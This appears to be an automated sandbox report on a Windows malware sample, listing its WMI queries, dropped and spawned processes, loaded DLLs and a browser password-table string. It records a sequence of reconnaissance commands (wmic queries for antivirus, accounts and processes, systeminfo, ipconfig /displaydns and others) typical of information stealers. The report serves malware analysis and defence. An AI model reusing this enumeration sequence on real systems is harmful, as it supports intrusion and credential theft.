Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1328"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1328"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1344"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1344"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1356"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1356"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1448"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1448"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1496"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1496"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1516"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1516"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1528"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1528"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1560"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1560"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1640"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1640"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1648"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1648"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1784"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1784"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1872"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1872"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1900"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1900"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1980"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1980"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1988"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1988"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2000"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2000"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1704"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1704"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2076"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2076"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2088"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2088"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2148"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2148"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2236"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2236"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2288"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2288"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2412"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2412"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2424"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2424"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2516"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2516"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2552"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2552"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2560"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2560"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2600"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2600"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2624"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2624"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2648"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2648"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2692"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2692"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2764"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2764"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2916"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2916"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3008"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3008"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3624"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3624"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3668"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3668"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3808"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3808"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3952"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3952"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4168"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4168"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4356"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4356"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4400"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4400"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5416"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5416"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="6016"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="6016"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5428"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5428"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1888"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1888"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5312"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5312"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="6296"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="6296"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3108"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3108"::GetOwner

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 9A0D.tmp.13.dr, 9690.tmp.13.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: O4zPA1oI9Y.exe

ReversingLabs: Detection: 78%

Source: unknown	Process created: C:\Users\user\Desktop\O4zPA1oI9Y.exe "C:\Users\user\Desktop\O4zPA1oI9Y.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jvgasii C:\Users\user\AppData\Roaming\jvgasii
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DE97.exe C:\Users\user\AppData\Local\Temp\DE97.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\uegasii C:\Users\user\AppData\Roaming\uegasii
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8CAE.exe C:\Users\user\AppData\Local\Temp\8CAE.exe
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Process created: C:\Windows\System32\cmd.exe cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DE97.exe C:\Users\user\AppData\Local\Temp\DE97.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8CAE.exe C:\Users\user\AppData\Local\Temp\8CAE.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Section loaded: nejupazabujicojoxalajahi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Section loaded: nejupazabujicojoxalajahi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Section loaded: profapi.dll	Jump to behavior
